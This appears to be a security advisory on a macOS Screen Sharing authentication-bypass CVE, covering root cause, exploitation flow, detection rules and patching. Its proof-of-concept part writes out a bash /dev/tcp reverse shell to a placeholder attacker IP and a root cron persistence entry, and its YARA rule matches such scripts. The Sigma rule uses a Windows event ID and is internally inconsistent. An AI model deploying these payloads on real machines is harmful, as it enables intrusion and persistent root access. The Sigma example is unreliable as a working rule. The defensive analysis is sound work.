Skip to content

Pre-Authenticated Root RCE in macOS Screen Sharing (CVE-2026-65400) Actively Exploited

Executive Summary

A severe pre-authenticated Remote Code Execution (RCE) vulnerability, tracked as CVE-2026-65400, has been discovered and is being actively exploited in Apple macOS Screen Sharing service. This critical flaw allows an unauthenticated attacker on the network to gain root access on affected macOS systems without requiring any user interaction or prior credentials. The vulnerability stems from a critical weakness in the Secure Remote Password (SRP) implementation used by screensharingd, leading to an authentication bypass and a cleartext session. This enables attackers to read and write arbitrary files with root privileges, effectively leading to full system compromise, including the establishment of persistent backdoors via mechanisms like cron jobs for reverse shells. Apple has released patches to address this issue, emphasizing the immediate need for all macOS users leveraging Screen Sharing to apply the latest security updates, especially those with internet-facing systems.

Vulnerability Details

  • CVE ID: CVE-2026-65400
  • CWE: Likely a combination of authentication bypass (e.g., CWE-287: Improper Authentication), cryptographic issues (e.g., CWE-310: Cryptographic Issues due to SRP implementation errors), and possibly improper access control leading to arbitrary file operations (e.g., CWE-732: Incorrect Permission Assignment for Critical Resource).
  • CVSS v3.1 Vector: While an official CVSS score from NVD is pending, the nature of the vulnerability (pre-authenticated RCE with root privileges, actively exploited) strongly suggests a CVSS 10.0 CRITICAL score. A likely vector would be similar to: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
    • Attack Vector (AV): Network - Exploitable over the network without local access.
    • Attack Complexity (AC): Low - No specialized conditions or extensive preparation required.
    • Privileges Required (PR): None - An unauthenticated attacker can exploit this.
    • User Interaction (UI): None - No user interaction is required.
    • Scope (S): Changed - The exploit breaks out of the screensharingd process scope to affect the entire system with root privileges.
    • Confidentiality (C): High - Complete loss of confidentiality (e.g., arbitrary file read).
    • Integrity (I): High - Complete loss of integrity (e.g., arbitrary file write, code execution).
    • Availability (A): High - Complete loss of availability (e.g., system sabotage).
  • Affected Versions: All supported macOS versions prior to the patches released in August 2026. Specifically, versions prior to macOS 26.6.1 (Tahoe), macOS 15.7.9 (Sequoia), and macOS 14.8.9 (Sonoma) are vulnerable. Older versions with Screen Sharing enabled are also at severe risk.
  • Patched Versions: Apple has released security updates for macOS Tahoe (26.6.1), Sequoia (15.7.9), and Sonoma (14.8.9) to address this vulnerability.
  • Exploitation Status: Actively exploited in the wild, with public discussion and PoC development emerging rapidly after Apple's initial patch releases.

Technical Root Cause Analysis

The vulnerability, CVE-2026-65400, resides within the screensharingd system daemon, specifically in its implementation of the Secure Remote Password (SRP) protocol. SRP is designed to provide strong password-authenticated key exchange without requiring the transmission of the password equivalent itself. However, a critical flaw in how screensharingd handles SRP leads to an authentication bypass.

Here's a breakdown of the technical root cause:

  1. SRP Implementation Error: The screensharingd daemon contains an error in its SRP implementation, particularly in its frame-length validation logic. This error causes the validator to erroneously return a stale success status during the authentication handshake. This means that even if an attacker does not possess valid credentials, the daemon incorrectly perceives a successful authentication.

  2. Authentication Bypass: Due to the faulty frame-length validation, an unauthenticated network attacker can effectively bypass the SRP-based authentication mechanism. The screensharingd daemon treats the connection as legitimately authenticated, granting the attacker a session that should only be available to authorized users.

  3. Cleartext Session & Arbitrary File Operations as Root: Critically, after the authentication bypass, the connection continues without cryptographic protection, resulting in a cleartext session. This unencrypted communication channel, combined with the successful (albeit faked) authentication, allows the attacker to interact with file operation helpers (SSFileCopySender, SSFileCopyReceiver) under the screensharingd daemon. These helper processes, especially when operating under a particular context (e.g., legacy VNC paths or due to inherent design), can execute with root privileges. Furthermore, the SSFileCopySender process, notably, holds the private Apple-signed entitlement kTCCServiceSystemPolicyAllFiles, which grants Full Disk Access and bypasses Transparency, Consent, and Control (TCC) protections. This combination of factors means the attacker, now perceived as an authenticated and privileged entity, can leverage these file operation capabilities to read and write arbitrary files anywhere on the file system with root permissions.

  4. Remote Code Execution: The ability to read and write arbitrary files as root is a foundational primitive for achieving Remote Code Execution. An attacker can write malicious scripts (e.g., shell scripts) to privileged locations, modify system configuration files to enable execution (e.g., cron jobs, launch daemons), or overwrite existing executables with their own malicious payloads. When these malicious artifacts are subsequently executed by the system (either immediately or upon a scheduled event/reboot), the attacker achieves full RCE as root.

In essence, a small error in cryptographic protocol implementation (SRP) opens the door to a full authentication bypass, which then escalates directly to arbitrary file read/write as root, culminating in pre-authenticated RCE.

Proof-of-Concept (Conceptual Exploitation & Illustrative Payload)

While specific public PoC code is not broadly disseminated for direct use, the technical analysis provides a clear conceptual exploitation path. The core idea is to leverage the authentication bypass to gain arbitrary file read/write as root and then use this capability to establish a persistent reverse shell.

Conceptual Exploitation Flow:

  1. Network Reconnaissance: The attacker scans for macOS systems with Screen Sharing enabled and exposed on the network (port 5900/TCP by default).

  2. SRP Handshake Abuse: The attacker initiates an SRP handshake with the vulnerable screensharingd daemon. Instead of providing valid credentials, they send specially crafted SRP messages that exploit the frame-length validation error. This tricks the daemon into believing a legitimate authentication has occurred, establishing a cleartext, unauthenticated session.

  3. Arbitrary File Write (Root Privileges): Through the now "authenticated" (but cleartext) session, the attacker leverages the SSFileCopySender/SSFileCopyReceiver functionalities to write a malicious payload to a system-controlled location. A common strategy is to write a reverse shell script and a cron job to execute it.

    • Payload 1: Reverse Shell Script (/tmp/reverse_shell.sh) This script will connect back to the attacker's listening server.

      #!/bin/bash
ATTACKER_IP="192.168.1.100" # Attacker's IP address
ATTACKER_PORT="9001"      # Attacker's listening port

/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1

    • Payload 2: Cron Job (/etc/cron.d/root_backdoor) This cron job will ensure the reverse shell script is executed persistently, for example, every minute, or once upon system boot.

      # SHELL=/bin/bash
# PATH=/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root /bin/bash /tmp/reverse_shell.sh > /dev/null 2>&1

    • Steps to Write: The attacker uses the arbitrary file write primitive to first write /tmp/reverse_shell.sh and then /etc/cron.d/root_backdoor. They also ensure the shell script has execute permissions (chmod +x /tmp/reverse_shell.sh).

  4. Payload Execution: The cron daemon will pick up the new cron job, and the reverse shell script will be executed. This grants the attacker a root shell on the compromised macOS system.

  5. Clean-up (Optional): The attacker might then remove the cron job entry and the shell script to cover their tracks, maintaining access through other means (e.g., SSH keys, persistence mechanisms).

This sequence effectively transforms an authentication bypass into full remote code execution with the highest privileges, demonstrating the severe impact of CVE-2026-65400.

Detection & Hunting

Detecting exploitation of CVE-2026-65400 requires vigilant monitoring of network traffic, system logs, and process activity on macOS devices.

Log Indicators:

  • System Logs (/var/log/system.log, Unified Logging System):
    • Monitor for abnormal activity from screensharingd or related helper processes (SSFileCopySender, SSFileCopyReceiver).
    • Look for errors or unusual events during SRP authentication attempts.
    • Detect unexpected file write operations by screensharingd or its children to sensitive system directories (e.g., /etc/, /Library/LaunchDaemons, /tmp).
  • Process Monitoring (Endpoint Detection and Response - EDR/DLP):
    • Monitor for screensharingd or its child processes spawning unexpected child processes, especially shell interpreters (bash, sh), network utilities (nc, curl, wget), or script interpreters (python, perl).
    • Detect attempts to modify cron jobs (/etc/cron.d/, user crontabs).
    • Alert on chmod +x operations on newly created files in suspicious locations.
  • Network Logs (Firewall, IDS/IPS, Proxy):
    • Monitor for unusual inbound connections to port 5900/TCP (Screen Sharing) from unexpected or external IP addresses.
    • Look for suspicious outbound connections originating from the macOS device to non-standard ports or external IP addresses, indicative of reverse shells or C2 communication.
    • IPS/IDS rules can be developed to detect known malicious SRP handshake patterns (if signature details become public) or cleartext communication after an SRP handshake.

Example YARA Rule (Conceptual - for reverse shell script content): This YARA rule would target the content of a common reverse shell script dropped by an attacker.

rule macos_screensharing_reverse_shell_script {
  meta:
    author = "Aishu"
    date = "2026-08-16"
    description = "Detects a common macOS reverse shell script content from CVE-2026-65400 exploitation."
    cve = "CVE-2026-65400"
    severity = "high"

  strings:
    $s1 = "#!/bin/bash"
    $s2 = "/bin/bash -i >& /dev/tcp/"
    $s3 = "0>&1"
    $s4 = "ATTACKER_IP="
    $s5 = "ATTACKER_PORT="

  condition:
    all of them
}

Example Sigma Rule (Conceptual - for cron job modification): This rule would detect suspicious modifications to system-wide cron job directories.

title: macOS Suspicious Cron Job Creation (Conceptual)
id: 6f7a8b9c-0d1e-2f3a-4b5c-6d7e8f9a0b1d # Generate a unique GUID
status: experimental
description: Detects new cron job entries in system directories, potentially indicating persistence from CVE-2026-65400.
author: Aishu
date: 2026/08/16
logsource:
  product: macos
  service: system_audit # Or file integrity monitoring (FIM) logs
detection:
  selection:
    EventID: "4663" # Example for Windows, adjust for macOS file access audit
    TargetFilename|contains:
      - '/etc/cron.d/'
      - '/var/at/tabs/' # For user crontabs
    Operation: "File Creation" # Or "File Write"
    ProcessName|contains: # Processes that typically manage cron jobs
      - 'crontab'
      - 'cron'
  condition: selection
level: critical

Mitigation & Remediation

Immediate mitigation steps are critical to protect macOS systems from CVE-2026-65400 exploitation:

  1. Apply Security Patches Immediately:

    • Update all affected macOS devices to the latest patched versions: macOS Tahoe 26.6.1, macOS Sequoia 15.7.9, or macOS Sonoma 14.8.9. This is the most effective and recommended solution.
    • Verify that the updates have been successfully applied. 
      sudo softwareupdate --install --all --restart

  2. Disable Screen Sharing:

    • If immediate patching is not feasible, disable Screen Sharing entirely until patches can be applied.
    • Go to System Settings > General > Sharing and toggle off "Screen Sharing."
    • Alternatively, use the command line: 
      sudo defaults write /var/db/SystemPreferences.plist ScreenSharing 0
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.screensharing.plist

  3. Network Isolation and Firewall Rules:

    • Restrict network access to port 5900/TCP (Screen Sharing) to only trusted internal networks or specific IP addresses.
    • Avoid exposing Screen Sharing directly to the internet. If remote access is essential, use a secure VPN for all connections.
    • Deploy firewall rules to block inbound connections to port 5900 from untrusted external sources.

  4. Web Application Firewall (WAF) / IDS/IPS:

    • While not a direct web application, if Screen Sharing traffic traverses a WAF or advanced IDS/IPS, configure rules to detect and block suspicious patterns in VNC/RFB traffic, especially those indicative of the SRP bypass or cleartext sessions.

  5. Endpoint Detection and Response (EDR):

    • Ensure EDR solutions are actively monitoring macOS endpoints for the detection opportunities described above (process creation, file modifications in sensitive locations, unusual network connections).

  6. Regular Audits and Security Baselines:

    • Regularly audit macOS system configurations to ensure Screen Sharing is disabled if not explicitly required, or properly secured.
    • Enforce security baselines for macOS devices, including hardening configurations and promptly applying updates.

  7. Incident Response Preparedness:

    • Update incident response plans to include procedures for detecting and responding to macOS compromises, particularly those involving root-level RCE and persistence mechanisms.

References

Comments (0)

Comments are reviewed before they appear.

No comments yet. Be the first to share your thoughts!